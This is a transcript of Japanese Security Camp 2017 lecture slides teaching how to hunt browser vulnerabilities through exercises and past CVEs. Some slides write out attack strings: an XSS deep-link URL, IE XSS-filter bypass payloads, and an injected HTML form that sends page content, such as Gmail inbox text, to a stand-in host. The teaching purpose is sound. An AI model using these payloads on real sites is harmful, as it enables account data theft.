ブラウザの脆弱性とそのインパクト

セキュリティ・キャンプ全国大会2017の講義資料です（Masato Kinugawaさんとの共同制作です）。

Transcript

1. ブラウザの脆弱性とそのインパクト Masato Kinugawa, Cure53 Muneaki Nishimura, Recruit Technologies Co., Ltd.
2. この講義の概要 Webの安全性は、サーバ側の堅牢な実装に加え、ブラウザのセキュリティモデル の上に成り立っています。ブラウザに脆弱性があると、あるサイトに書き込んだ データが他のサイトに漏えいするなどの様々な問題が生じます。 ブラウザの脆弱性の多くは、実装のちょっとしたおかしな動作から見つかります。 しかし、ブラウザの利用者の多くは、その動作が脆弱性であり、攻撃に悪用され うることに気付きません。脆弱性を見つけるには、そうした動作を悪用する方法 を見つけ出すための「発想力」が必要となります。 本講座では、そうした攻撃者の発想力を身に着けるためのポイントを学びます。
3. 自己紹介
4. Masato Kinugawa Cure53 2016年より独Cure53で脆弱性診断。それ以前は脆弱性報 告の報奨金で生活していた。好きな脆弱性はXSS。Web アプリケーションやブラウザのXSSに関連する脆弱性を 中心に多数発見。OWASP AppSec APAC 2014、CODE BLUE(第2回、第3回)、AVTOKYO 2015で講演あり。2013 年よりセキュリティ・キャンプに関わる。
5. 西村 宗晃 株式会社リクルートテクノロジーズ サイバーセキュリティエンジニアリング部 シニアセキュリティエンジニア 国内携帯電話メーカーでのセキュリティコンサルタント などを経て2016年より現職。リクルートグループ全社の 脆弱性検査や修正支援に携わる。趣味はブラウザの脆弱 性を探すこと。著書にブラウザハック（監訳）。主な講 演歴にCODE BLUE 2015、AVTOKYO 2016、PacSec 2016。 2014年よりセキュリティ・キャンプ全国大会講師
6. 脆弱性探しの主なプロセス
7. 1. 対象を決める 2. 対象を深く知る 3. 対象のおかしな動作を探す 4. その悪用シナリオを考える
8. 1. 対象を決める 2. 対象を深く知る 3. 対象のおかしな動作を探す 4. その悪用シナリオを考える
9. 対象を決める
10. どのモジュールの脆弱性を探すか • ブラウザは様々なモジュールで構成されている • 数あるモジュールの中からどれを叩くかを決めることが最初の一歩 • 対象を決める基準は心がときめくかどうか • その後のモチベーションに影響するので極めて重要 Nishimura
11. ブラウザの構成要素は • 様々な観点で、心ときめくモジュールを見つけ出す • ドキュメントパーサ • スクリプト処理機能 • プロトコル • マルチメディアサポート • 内包しているミドルウェア • 各種API • UI部品 • ブラウズを便利にするための機能 • セキュリティ機能 • 他 Nishimura
12. 演習1. ブラウザのモジュールを洗い出す（10分） • 以下の観点でブラウザのモジュールを列挙してみよう（何を調べてもOK） • ドキュメントパーサ • スクリプト処理機能 • プロトコル • マルチメディアサポート • 内包しているミドルウェア • 各種API • UI部品 • ブラウズを便利にするための機能 • セキュリティ機能 • 他 Nishimura
13. 演習1の回答例 • 例えばこんなモジュール • ドキュメントパーサ（HTML, XML, SVG, MathML, XUL） • スクリプト処理機能（JavaScript, VBScript, asm.js, WebAssembly） • プロトコル（HTTP, FTP, WebSocket, HTTP/2, QUIC, DNS, mDNS, WebRTC） • マルチメディアサポート（JPG, GIF, PNG, WebM, Ogg, AAC, MP3, MP4, FLAC） • 内包しているミドルウェア（Skia, ffmpeg, ICU, NSS, OpenVR, libpng, sqlite） • 各種API（Fetch API, Push API, Extension API, Fullscreen API, Web Speech API） • UI部品（Location Bar, History, Bookmark, Context Menu） • ブラウズを便利にするための機能（Chrome Extension, Reading View, Secret Mode） • セキュリティ機能（SOP, XSS Filter, CSP, SRI, TLS, Mixed Content, HSTS, HPKP, CT） • 他 Nishimura
14. たとえばこんな方法で対象を決める
15. 新しい機能を探す • 新しく搭載された機能は、まだ誰も脆弱性を探していない可能性が高い • 開発者向けのアルファ版を狙う • Firefox Nightly • Chrome Dev, Canary • Safari Technology Preview • EdgeはWindows 10の先行リリース版が狙い目（@shhnjk談） • 新しい機能を知る手段 • Release Notes • 各ブラウザのFeature Status • 各ブラウザベンダーの技術ブログや開発者向けカンファレンスの動画 • バグ管理システム（RSSで取得・ただしS/N比はあまり良くない） Nishimura
16. Firefox developer release notes https://developer.mozilla.org/en-US/Firefox/Releases Nishimura
17. Linkタグでpreloadを指定できるのか！ 面白そうだ！調べてみよう！ Nishimura
18. Firefox Platform Status https://platform-status.mozilla.org/ Nishimura
19. Chrome Platform Status https://www.chromestatus.com/features Nishimura
20. Mozilla Hacks – the Web developer blog https://hacks.mozilla.org/ Nishimura
21. Chromium Blog https://blog.chromium.org/ Nishimura
22. Chrome Dev Summit 2016 - YouTube https://www.youtube.com/playlist?list=PLNYkxOF6rcIBTs2KPy1E6tIYaWoFcG3uj Nishimura
23. Google for Mobile Tokyo 2015 https://www.youtube.com/watch?v=VHN2wJWi0WE Nishimura
24. 古いイケてない機能を探す • こんな古い機能はイケてない • 標準化されておらず仕様が不明確なもの • 流行らなかったもの • プラグイン全般（Flash/Adobe Reader） • まともなドキュメントすらないことも多い • 古い機能を知る手段 • Release Notes • セキュリティ研究者の投稿や発表 Kinugawa
25. イケてない例：showModalDialog Kinugawa
26. ダイアログ使用中他のウインドウは操作不可 （UIに関連する問題が起きそう？） dialogArguments/returnValueプロパティを使った 独自のウインドウ間のデータのやりとり （ここにオリジンの制限はあるのか？） イケてない例：showModalDialog Kinugawa
27. Firefox サイト互換性情報 https://www.fxsitecompat.com/ja/docs/ Kinugawa
28. Mario Heiderich: "My Sweet Innocence Exposed - Eleven Reasons why we will all miss you, 'e'" https://www.youtube.com/watch?v=aeevfVXPIqo Kinugawa
29. 列挙する・列挙されたものから探す • 1つテーマを決めて列挙してみる • HTTPリクエストを送信できるJavaScriptのAPI（sendBeacon, Fetch, Worker...） • ブラウザネイティブのダイアログが出現するAPI（alert, confirm, getUserMedia...） • MIMEタイプ（text/javascript, image/svg+xml, application/octet-stream...） • 既に列挙されたものをみていくのも有効 • windowオブジェクト • HTTPLeaks • HTML5 Security Cheatsheet • 列挙のメリット • 一度にテストできる • 対象の相対的な面白さに気付ける Kinugawa
30. 例：windowオブジェクトを見る Kinugawa
31. HTTPLeaks https://github.com/cure53/HTTPLeaks/blob/master/leak.html Kinugawa
32. HTML5 Security Cheatsheet https://html5sec.org/ Kinugawa
33. IEではCSSからスクリプトを実行 できるのか！CSSでどのくらい攻 撃できるか見てみるかな！ Kinugawa
34. コミット履歴から更なる気付きを得る • Gitのコミット履歴から面白そうな機能追加を探す • モバイルOSの新規機能対応（3D Touch, Spotlight, Universal Links） • 実装中の機能（Web App Manifest, GeckoView） • コミット履歴から新たな着眼点を得る • プログラマが脆弱性を作りやすそうな記述の存在（正規表現, 文字列への変数埋め込み） • 扱いの難しいサードパーティライブラリの利用（SQLite, Alamofire） Nishimura
35. GitHub - mozilla-mobile/firefox-ios: Firefox for iOS https://github.com/mozilla-mobile/firefox-ios Nishimura
36. Bug 1289687 - Support Internationalized Domain Names https://github.com/mozilla-mobile/firefox-ios/commit/78be54586c9e027465d8e0da28bb42595d4ebe32 Nishimura
37. 演習2. コミット履歴から脆弱性を探す（10分） • このコミットにはどんな脆弱性があるでしょう • https://goo.gl/xo6MMV • このコードには現在のブラウザが備えるべき「ある攻撃」への対策が入っていません • IDNや国際化ドメインという単語を検索してみよう Nishimura
38. 演習2の回答 • ホモグラフ攻撃の対策が入っていない • 本物のサイトとよく似たURLで偽サイトに誘導するフィッシング • アルファベットの「a」とよく似たキリル文字「 а 」U+0430などが使われる • 以下は「a」がU+0430 • 以下は「:」がU+0589で、「/」がU+2215 Nishimura
39. 演習2の回答 • ちなみにこの脆弱性を報告した結果 • IDN（国際化ドメイン）が当面は無効化されることに・・・ Nishimura
40. コミット履歴から新たな着眼点を得る データの保存にSQLiteを使っている！ どこかでSQL Injectionが起きないかな！ Swiftでは文字列リテラルに変数を埋め込めるのか！ HTMLを生成してるところでXSSが起きないかな！ Nishimura
41. SELECTやINSERTという単語でコード全体をgrep 外部から渡されたパラメータがSQLクエリに 展開されている個所がないか探す（このコードの例は安全） Nishimura
42. Bug 1317580 - Add additional deeplink support for FxA https://github.com/mozilla-mobile/firefox-ios/pull/2249/files Nishimura
43. 演習3. コミット履歴から脆弱性を探す（20分） • このコミットにはどんな脆弱性があるでしょう • https://github.com/mozilla-mobile/firefox-ios/pull/2249/files • 文字列リテラルに変数を埋め込んでいる個所を探してみよう • 発生する脆弱性が分かった人は、どのような経路で攻撃できるかを調べてみよう Nishimura
44. 演習3の回答 • Firefox Accountsのページ上でXSSできる • webView.evaluateJavaScriptの第1引数（変数script）に 任意の文字列を指定できることが原因 • iOSのDeep Linkを使って、以下のURLをSafariで開けば攻撃成立 firefox://?fxa=signin&email=test@example.jp'); $('.email').val('JAVASCRIPT_INJECTED!! Nishimura
45. Webアプリの脆弱性検査から気付きを得る • ブラウザがこう動けばアプリが脆弱になるのに、と気付くことがある • URL文字列を取得するAPIが特定の記号文字列を返すなら… • 信頼できない文字列を扱う一連の関数の動作が1つでもおかしければ… • 任意のhostヘッダを犠牲者に送信させることができたなら… • CSPが正しく機能しなければ… • 攻撃のシナリオが明確なら、対象を定めやすい • ➡ location.* プロパティが返す値 • ➡ 利用されている関数の詳細な動作 • ➡ ヘッダを送信できる関数の制限が適切か • ➡ CSPの実装が正確か Kinugawa
46. Kinugawaの実例：CSPの実装不備 CSPの設定の安全性を検査してほしいと仕事で依頼された際、 FirefoxのCSPがsandbox化されたiframeのsrcdoc属性で機能しないことを発見。 余談：報告したところ、StatusがDUPLICATEに。一体誰が報告を…？ Kinugawa
47. Bug 1073952 - CSP can be bypassed with <iframe [sandbox] and [srcdoc]> https://bugzilla.mozilla.org/show_bug.cgi?id=1073952 Kinugawa
48. 過去に学ぶ • 過去の修正された脆弱性の情報を見る • セキュリティアドバイザリ • 時間が経って開示されたバグ票（bugzilla.mozilla.org, bugs.chromium.org） • 報告者のブログやカンファレンスの発表資料 • 過去のバグからはたくさんの有益な情報が得られる • どこに脆弱性があったのか • どんな脆弱性があるのか • どうすれば脆弱性が発生しうるのか • 報告者はどのように脆弱性を発見したか Kinugawa
49. Mozilla Foundation Security Advisories https://www.mozilla.org/en-US/security/advisories/ Kinugawa
50. Chrome Releases: Stable Channel Update for Desktop https://chromereleases.googleblog.com/2017/07/stable-channel-update-for-desktop.html Kinugawa
51. Kinugawaがやったこと • はせがわようすけさんの資料を熟読（http://utf-8.jp） • さまざまなブラウザに起因するXSS手法があることを知る • Content Sniffing • 文字コード • 使える文字種に縛りがあるときのXSS • mXSS • それぞれを自分の手を動かして再現させた • さらに、深く調べる余地がありそうな部分を自分で調べ直した • 全ての文字コードの動作を一から調べてみよう Kinugawa
52. 各ブラウザが解釈可能なcharsetの比較表 https://l0.cm/encodings/table/ Kinugawa
53. 文字コードを調べてみつかったもの(一例) • CVE-2011-3058 • https://bugs.chromium.org/p/chromium/issues/detail?id=109574 • EUC-JPのページで、0x8EE3というバイトシーケンスでバックスラッシュ文字が出現。文字 列リテラル中でユーザ入力を受け付けている場合、本来バックスラッシュが出現する0x5C をエスケープしていてもXSSが起こってしまう。 • CVE-2013-5612 • https://www.mozilla.org/en-US/security/advisories/mfsa2013-106/ • POSTリクエストを経由して文字コードが指定されていないページにアクセスすると、直 前の文字コードを使用してページが表示されてしまう。ISO-2022-JPなどの特殊なバイト 表現を持つ文字コードを利用することでHTML構造を破壊しXSSが起こってしまう。 Kinugawa
54. 他にもあるよ • about: URLをひたすら解析する • ブラウザのバイナリに埋め込まれた隠しページを探し出す • about:neterror?e=nssBadCert&d=Hello%20Guys! Hello Guys! Nishimura
55. 他にもあるよ • 利用しているサードパーティライブラリの脆弱性を探す Nishimura
56. サードパーティライブラリの脆弱性 • Mozilla NSS（Network Security Module） • FirefoxのTLSや暗号処理で使われているライブラリ • ドイツの研究者Hanno Böck氏が、暗号処理で使われるbig_numの剰余演算の脆弱性を AFLによるFuzzingで発見。このFuzzingでは、NSSとOpenSSLの演算結果を比較し、異なる 演算結果が出たときにアサーションする手法が用いられた https://blog.fuzzing-project.org/37-Mozilla-NSS-Wrong-calculation-results-in-mp_div-and-mp_exptmod.html • SQLite • Beijing Chaitin Techの研究者が、SQLiteにおけるメモリ破壊の脆弱性を発見。この脆弱性 はSafariのWeb SQL Databaseに影響することを用い、Pwn2OwnにてSafariの攻略に成功 https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single- SQLite-Vulnerability-Across-Multiple-Software.pdf Nishimura
57. 1. 対象を決める 2. 対象を深く知る 3. 対象のおかしな動作を探す 4. その悪用シナリオを考える
58. 対象を深く知る • 目的や使用用途は？ • どのように使うのか？ • InputとOutputは？ • 対象にはどのような制限事項があるのか？ • ブラウザ上でどんなことが起きてはいけないのか？ • 対象が提供する機能は悪用できないか？ • ブラウザのセキュリティ機構を迂回できないか？ • これまで安全と見られていたWebサイトに対する新たな攻撃手段として利用できないか？ Nishimura
59. 深く知るためにどうするか • 実際に使って動かす • テストプログラムのコミットなどを参考にプログラムを書いてみる • 仕様を読む • コードを読む • コードにログを仕込んでビルドし、詳しい振る舞いを確かめる • バイナリを読む Nishimura
60. Kinugawa edgehtml.dllのバイナリ C:¥Windows¥System32¥edgehtml.dll
61. edgehtml.dllのバイナリ C:¥Windows¥System32¥edgehtml.dll XSSフィルターの正規表現 Kinugawa
62. 演習4. XSSフィルターの反応原因を探る（20分） • Internet Explorer のXSSフィルターは次のURLになぜか反応します • https://goo.gl/WSEkgq • C:¥Windows¥System32¥mshtml.dll のバイナリから正規表現をみつけ、 どの部分に反応したかを推測しよう • 正規表現は"implementation"と検索するとみつかります • また、本来ならどのような攻撃文字列を阻止するものか考え、その文字列を 使って以下のページでアラートを実行してみよう • https://goo.gl/Vmkebc Kinugawa
63. 演習4の回答: どの部分に反応したか Kinugawa {[¥"¥'][ ]*(([^a-z0- 9~_:¥'¥" ])|((i|(¥¥u0069))(n|(¥¥u006[Ee])))).+?{¥(}.*?{¥)}} "instagram(インスタグラム)"
64. 演習4の回答: 本来遮断したいもの Kinugawa {[¥"¥'][ ]*(([^a-z0-9~_:¥'¥" ])|((i|(¥¥u0069))(n|(¥¥u006[Ee])))).+?{¥(}.*?{¥)}} "alert" in window //true new Date() instanceof Date //true <script>var q=""in alert(1)//"</script> <script>var q=""instanceof alert(1)//"</script> 補足： in と instanceof 演算子について
65. フィルターを深く調べてみつけたもの • フィルターのバイパス • 以前までのバイパス可能なフィルタールール： Kinugawa <script> var q=""i¥u006E alert(1)//"; </script> {[¥"¥'][ ]*(([^a-z0-9~_:¥'¥" ])|(in)).+?{¥(}.*?{¥)}} バイパスの例： (※Windows 8.1以下のIE11ではまだ古いルールが使われています。)
66. フィルターを深く調べてみつけたもの • フィルターの反応を利用して逆にXSSをする手法 • https://www.slideshare.net/masatokinugawa/xxn-ja Kinugawa <script src="test.js" type="text/javascript"></script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> javascript: を無関係の文脈にマッチさせて攻撃する例：
67. 演習5. Fetch APIの仕様を調べる（20分） • Fetch APIにはどのようなセキュリティ上の制限が施されているか • 仕様書（WHATWGのFetch Standard）を読んで洗い出してみよう https://fetch.spec.whatwg.org/ • これは2015年のセキュリティ・キャンプの演習問題の再掲です Nishimura
68. 演習5のヒント fetch('http://api.example.jp/path',{ method:'POST', headers: { 'Content-Type':'text/plain' }, body:'Hello World!' }).then(function(res){ console.log(res.headers.get('Content-Type')); }).catch(function(err){ console.error(err); }); Nishimura
69. 演習5のヒント fetch('http://api.example.jp/path',{ method:'POST', headers: { 'Content-Type':'text/plain' }, body:'Hello World!' }).then(function(res){ console.log(res.headers.get('Content-Type')); }).catch(function(err){ console.error(err); }); 常にボディを指定して良い? どんな文字を含めても良い? どんなヘッダの値を読んでも良い? どんな情報が含まれても良い? どんなURLを指定しても良い? どんなヘッダを指定しても良い? どんなメソッドを指定しても良い? Nishimura
70. 演習5の回答例 • 通信先ホスト • about, blob, data, file, ftp, filesystem, http(s)以外のスキームはエラーを返す • 現在のオリジンによって指定できないスキームもある（例：http:  file:のFetchは禁止） • HSTS, HPKP, CSP, Mixed Content Blockに従うこと • SOPおよびCORSに準拠すること • 接続禁止ポート（Port Banning）に従うこと • 通信メソッド • CONNECT, TRACE, TRACKメソッドは指定禁止 Nishimura
71. 演習5の回答例 • リクエストヘッダ • 以下のヘッダは指定禁止 • Accept-Charset, Accept-Encoding, Access-Control-Request-Headers, Access-Control-Request- Method, Connection, Content-Length, Cookie, Cookie2, Date, DNT, Expect, Host, Keep-Alive, Origin, Referer, TE, Trailer, Transfer-Encoding, Upgrade, Via, Proxy-*, Sec-* • ヘッダ名に0x00, 0x0a, 0x0dを含めてはいけない • その他のヘッダはCORSに準拠すること • リクエストボディ • GET, HEADリクエストにリクエストボディを付けてはいけない Nishimura
72. 演習5の回答例 • レスポンスヘッダ • 以下のヘッダは読み取り禁止 • Set-Cookie, Set-Cookie2 • その他のヘッダはCORSに準拠すること • エラーオブジェクト • 接続先のリダイレクト後のURLが異なるオリジンである場合、 返却されるオブジェクトのURLにパスやクエリ文字列を含んではいけない • 接続先が異なるオリジンである場合、取得したデータを含めてはならない Nishimura
73. 仕様どおりに動くかを調べるだけで脆弱性が見つかる • 2015年5月：Firefox 39 • リクエストにHostやCookieヘッダを付加できる（$3000） https://bugzilla.mozilla.org/show_bug.cgi?id=1162411 • 2015年5月：Firefox 40 Nightly • リダイレクト後のクロスオリジンURLがレスポンスボディに含まれる（$3000） https://bugzilla.mozilla.org/show_bug.cgi?id=1162018 • しかも歴史は繰り返す • 次の2ページで紹介するのは2017年に他の人が見つけたMicrosoft Edgeの脆弱性 Nishimura
74. リクエストにHostやCookieヘッダを付加できる http://seclists.org/fulldisclosure/2017/Mar/37 Nishimura
75. リダイレクト後のクロスオリジンURLがレスポンスボディに含まれる http://mov.sx/2017/04/16/microsoft-edge-leaks-url.html Nishimura
76. 1. 対象を決める 2. 対象を深く知る 3. 対象のおかしな動作を探す 4. その悪用シナリオを考える
77. 対象のおかしな動作を探す • わずかな「いつもと違う」に目を光らせる • 設定通りの動きをしない • アドレスバーが更新されない • クラッシュ、フリーズ • 文字化け • HTMLタグが効いている • ブラウザによって動作が異なる • 一見ただのバグでも、詳しくみると悪用可能な動作かもしれない Kinugawa
78. おかしな動作は案外わかりにくい • 問題と気付けるかどうかが重要 • 例えば CVE-2012-3695 • http://masatokinugawa.l0.cm/2012/08/safari-location.href.html • location.href に含まれるBasic認証情報部分がデコードして返される • 実際の利用場面を考えれば、まずい動作であることがわかりますか？ https://aaa%2F@example.com/ https://aaa/@example.com/ Kinugawa
79. おかしな動作を引き出す方法 • 様々な要素と対象を組み合わせてみる • プロトコルスキーム (http:, https:, ftp:, data:, resource:, about:, chrome-extension:) • リクエストメソッド (GET, POST, HEAD, OPTIONS, TRACE) • 表示される場所 (iframe, object/embedタグ, svgのforeignobject, Reading View) • Fetchする方法 (imgタグ, video/audioタグ, WorkerのimportScripts, ServiceWorker内) • ナビゲーションの方法 (Locationヘッダ, meta refresh, window.open, ブラウザバック) • 異常な入力 (重複した値, 長すぎる文字列, 空の値, 大きすぎる数値, マイナスの数値) • あらかじめ1つのくくりで列挙した要素があると便利 Kinugawa
80. Kinugawaの実例 • CVE-2015-4483 • https://bugzilla.mozilla.org/show_bug.cgi?id=1148732 • feed: を先頭に付けたhttpsのURLにPOSTリクエストを送信すると、POSTを受けたページで Mixed Content Blockerが機能しない • 最初の気付きはアドレスバーから feed: が消えないことだった Kinugawa
81. 先週修正されたFirefoxの脆弱性 • CVE-2017-7788 • https://bugzilla.mozilla.org/show_bug.cgi?id=1073952 • <iframe sandbox>のsrcdoc属性にscript要素を記述すると、CSPのscript-src指定に関わらず インラインスクリプトが実行される。ただしスクリプトが動作するオリジンはsandbox originであり、親フレームのCookieなどは盗めない • CVE-2017-7789 • https://bugzilla.mozilla.org/show_bug.cgi?id=1074642 • HTTPレスポンスにHSTSヘッダが複数付いているとHSTSが効かない。サイトの構成で OriginとEdgeサーバの両方でHSTSヘッダを付けた場合、HSTSが効かない。 HTTP ヘッダインジェクションでHSTSを無効化する悪用方法も考えられる Nishimura
82. 図に表すとこんなかんじ CSP sandbox iframe srcdoc HSTS 重複した値 POST feed: Mixed Content Blocker CVE-2015-4483 CVE-2017-7788 CVE-2017-7789 × × × ➡ ➡ ➡ × × × 考慮されていない組み合わせからおかしな動作が起き、脆弱性が引き起こされる Kinugawa
83. 仕様とおかしな動作 • 仕様そのものが攻撃の可能性を十分に想定できていないことがある • 例えば@font-face のunicode-range http://masatokinugawa.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html • 仕様そのものを改善する議論に発展することも • 場合によっては機能を廃止する判断が下されるかもしれない • E4X • ApplicationCache Kinugawa
84. 演習6. CSPバイパスXSSチャレンジ（20分） • 以下のページでアラートを実行してみよう • https://goo.gl/pVqnrw • CSPのnonceに対応したChromeかFirefoxを使ってください • アラートを実行できた人：このようなバイパス手法に対処するために新しい 制限が提案されています。どのような方法がありうるか考えてみよう Kinugawa
85. 演習6の回答例 • 正規に使われているスクリプトタグのnonceを利用 • Dangling Markup Injectionにより、追加したスクリプトタグの属性中にnonceを含ませる Kinugawa
86. 提案されている新たな仕様 • CSP Lv3でDangling Markup Injectionに対処する記述が追加されている • https://www.w3.org/TR/CSP/#matching-elements • "<script" や "<style" が属性名・属性値に現れたらnonceを無効にする Kinugawa
87. 1. 対象を決める 2. 対象を深く知る 3. 対象のおかしな動作を探す 4. その悪用シナリオを考える
88. 見つけた動作を悪用可能なシナリオを考える • 現実のWebアプリでどう悪用できるかを示す • その振る舞いのせいで、本来は安全であるはずのサイトが安全でなくなることを示す • 実例をもとに、現行のWebのセキュリティモデルが毀損することを示す • 現実に悪用できない場合でも、最大限に悪用可能なシナリオを考えて示す • もしサイトの実装が◦◦なら、この動作を悪用して△△できる • 仮定が身近にありそうな例であれば、危険性を理解してもらえる Nishimura
89. 演習7. おかしな動作の悪用方法を考える（20分） • 以下のFirefox拡張（WebExtension）には、ある脆弱性があります • https://github.com/nishimunea/securitycamp2017 • この脆弱性を最大限に悪用するシナリオを考えてください • シナリオには仮定を置いて構いません 例：◦◦するサイトで、ユーザが△△した場合に、□□が起きる Nishimura
90. 演習7の回答例 • ページのタイトル展開部分にHTML Injectionがあるのは皆さんも分かったはず • ただし、この拡張にはCSPがガチガチに効いているので、XSSには至りません https://github.com/nishimunea/securitycamp2017/blob/master/manifest.json#L6 • HTML Injectionできる程度なら深刻度は低 • 2年経っても直してもらえないでしょう https://bugzilla.mozilla.org/show_bug.cgi?id=1224425 • そこで、現実的な悪用シナリオを示す必要が出てきます Nishimura
91. 演習7の回答例 • 拡張のJavaScriptに着目すると、%TITLE%、%CONTENT%、という順に テンプレートへ変数が展開されていることがわかります Nishimura
92. 演習7の回答例 • タイトル（%TITLE%）にform要素を埋め込むことで、XSSを使わずとも、 ページの内容（%CONTENT%）を外部へ盗み出すことができます • 以下のform要素をエンコードして、ページのtitle要素に埋め込みます <form action="https://evil.csrf.jp/steal.php" method="post"> <input type="submit" value="CLICKME!"> <textarea name="a">%CONTENT%</textarea> </form> Nishimura
93. 演習7の回答例 • ユーザが指定した文字列をtitleに展開するサイトは数多くあります • 身近な例では、Google検索の結果画面のタイトルが悪用できます • ただし、検索結果のページ内容を盗み出してもあまりインパクトはありません Nishimura
94. 演習7の回答例 • 攻撃者がページのタイトル（title要素）に任意の文字列を指定でき、かつ、 そこに盗まれてはいけない情報が含まれているサイトを探します • 皆さんは分かりますか？ Nishimura
95. 演習7の回答例 • たとえばGmailを見てみましょう Nishimura
96. 演習7の回答例 • 受信メールを開くと、メールのタイトルがページのtitle要素に表示されます Nishimura
97. 演習7の回答例 • この画面で拡張を選択すると、HTML Injectionが成立し、ボタンが出現します Nishimura
98. 演習7の回答例 • ボタンを押すと、ページのDOM（%CONTENT%）が外部に送信されます Nishimura
99. 演習7の回答例 • 送られたデータには、受信トレイにある他のメールの本文まで含まれています Nishimura
100. 演習7の回答例 • 被害者がGmailで悪意のあるメールを受信し、それを拡張で開いた場合、 受信トレイに表示された全てのメールが攻撃者に盗まれる恐れがある • ここまでやれば、深刻度が中程度まで上がる可能性がある Nishimura
101. さいごに
102. さいごに • 2人が実際に見つけた脆弱性を例に、脆弱性を探すための発想法を学びました • 日頃の調査・研究の積み重ねや地味な作業の繰り返し（素振り）が、あるとき、 脆弱性を見つける際の閃きに結び付いているというのがポイントです • 脆弱性の探し方は十人十色です • 本日の講義では4つのメソッドを紹介しましたが、これに従う必要はありません • 自分の心がときめく対象を見つけ、自分が面白いと思えるやり方で脆弱性を見つけること。 これが長い間に渡って脆弱性を見つけ続けるための秘訣なのかもしれません Nishimura
103. おわり